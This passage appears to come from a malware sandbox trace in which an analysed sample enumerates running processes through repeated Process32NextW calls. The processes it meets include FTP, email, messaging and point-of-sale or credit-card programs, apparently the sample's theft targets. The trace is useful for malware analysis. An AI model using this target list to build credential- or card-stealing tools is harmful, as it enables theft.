dwFlags=0x0, szExeFile="services.exe")) returned 1 [0044.382] lstrlenW (lpString="services.exe") returned 12 [0044.382] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0044.383] lstrlenW (lpString="lsass.exe") returned 9 [0044.383] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0044.384] lstrlenW (lpString="lsm.exe") returned 7 [0044.384] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.385] lstrlenW (lpString="svchost.exe") returned 11 [0044.385] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.386] lstrlenW (lpString="svchost.exe") returned 11 [0044.386] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.387] lstrlenW (lpString="svchost.exe") returned 11 [0044.387] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.388] lstrlenW (lpString="svchost.exe") returned 11 [0044.388] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.389] lstrlenW (lpString="svchost.exe") returned 11 [0044.389] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0044.390] lstrlenW (lpString="audiodg.exe") returned 11 [0044.390] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.392] lstrlenW (lpString="svchost.exe") returned 11 [0044.392] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.393] lstrlenW (lpString="svchost.exe") returned 11 [0044.393] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0044.394] lstrlenW (lpString="dwm.exe") returned 7 [0044.394] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0044.396] lstrlenW (lpString="explorer.exe") returned 12 [0044.396] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0044.397] lstrlenW (lpString="spoolsv.exe") returned 11 [0044.397] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.398] lstrlenW (lpString="taskhost.exe") returned 12 [0044.398] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.400] lstrlenW (lpString="svchost.exe") returned 11 [0044.400] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0044.401] lstrlenW (lpString="taskeng.exe") returned 11 [0044.401] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.402] lstrlenW (lpString="taskhost.exe") returned 12 [0044.402] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.403] lstrlenW (lpString="svchost.exe") returned 11 [0044.403] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0044.404] lstrlenW (lpString="sppsvc.exe") returned 10 [0044.404] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.405] lstrlenW (lpString="svchost.exe") returned 11 [0044.405] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0044.406] lstrlenW (lpString="barrelsince.exe") returned 15 [0044.406] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0044.407] lstrlenW (lpString="cricket.exe") returned 11 [0044.407] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0044.408] lstrlenW (lpString="angelsalot.exe") returned 14 [0044.408] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0044.409] lstrlenW (lpString="bridge.exe") returned 10 [0044.409] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0044.410] lstrlenW (lpString="sh_shipping.exe") returned 15 [0044.410] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0044.411] lstrlenW (lpString="tobacco packet.exe") returned 18 [0044.411] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0044.413] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0044.413] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0044.414] lstrlenW (lpString="confidentiality-lookup-going.exe") returned 32 [0044.414] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0044.415] lstrlenW (lpString="widespread.exe") returned 14 [0044.415] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0044.416] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0044.416] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0044.417] lstrlenW (lpString="zinc.exe") returned 8 [0044.417] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0044.418] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0044.419] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0044.420] lstrlenW (lpString="construction_rice.exe") returned 21 [0044.420] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0044.421] lstrlenW (lpString="mask.exe") returned 8 [0044.421] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0044.422] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0044.422] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0044.472] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0044.472] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0044.473] lstrlenW (lpString="curve standing.exe") returned 18 [0044.473] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0044.475] lstrlenW (lpString="3dftp.exe") returned 9 [0044.475] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0044.476] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0044.476] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0044.477] lstrlenW (lpString="alftp.exe") returned 9 [0044.477] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0044.478] lstrlenW (lpString="barca.exe") returned 9 [0044.478] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0044.479] lstrlenW (lpString="bitkinex.exe") returned 12 [0044.479] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0044.480] lstrlenW (lpString="coreftp.exe") returned 11 [0044.480] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0044.481] lstrlenW (lpString="far.exe") returned 7 [0044.481] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0044.483] lstrlenW (lpString="filezilla.exe") returned 13 [0044.483] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0044.484] lstrlenW (lpString="flashfxp.exe") returned 12 [0044.484] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0044.485] lstrlenW (lpString="fling.exe") returned 9 [0044.485] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0044.486] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0044.486] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0044.487] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0044.487] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0044.488] lstrlenW (lpString="icq.exe") returned 7 [0044.488] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0044.490] lstrlenW (lpString="leechftp.exe") returned 12 [0044.490] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0044.492] lstrlenW (lpString="ncftp.exe") returned 9 [0044.492] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0044.493] lstrlenW (lpString="notepad.exe") returned 11 [0044.493] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0044.495] lstrlenW (lpString="operamail.exe") returned 13 [0044.495] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0044.497] lstrlenW (lpString="pidgin.exe") returned 10 [0044.497] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0044.499] lstrlenW (lpString="scriptftp.exe") returned 13 [0044.499] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0044.500] lstrlenW (lpString="skype.exe") returned 9 [0044.500] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0044.502] lstrlenW (lpString="smartftp.exe") returned 12 [0044.502] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0044.503] lstrlenW (lpString="thunderbird.exe") returned 15 [0044.504] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0044.505] lstrlenW (lpString="totalcmd.exe") returned 12 [0044.505] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0044.597] lstrlenW (lpString="trillian.exe") returned 12 [0044.598] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0044.599] lstrlenW (lpString="webdrive.exe") returned 12 [0044.599] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0044.601] lstrlenW (lpString="whatsapp.exe") returned 12 [0044.601] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0044.603] lstrlenW (lpString="winscp.exe") returned 10 [0044.603] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0044.604] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0044.604] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0044.606] lstrlenW (lpString="active-charge.exe") returned 17 [0044.606] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0044.607] lstrlenW (lpString="accupos.exe") returned 11 [0044.607] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0044.609] lstrlenW (lpString="afr38.exe") returned 9 [0044.609] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0044.610] lstrlenW (lpString="aldelo.exe") returned 10 [0044.610] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0044.611] lstrlenW (lpString="ccv_server.exe") returned 14 [0044.611] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0044.613] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0044.613] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 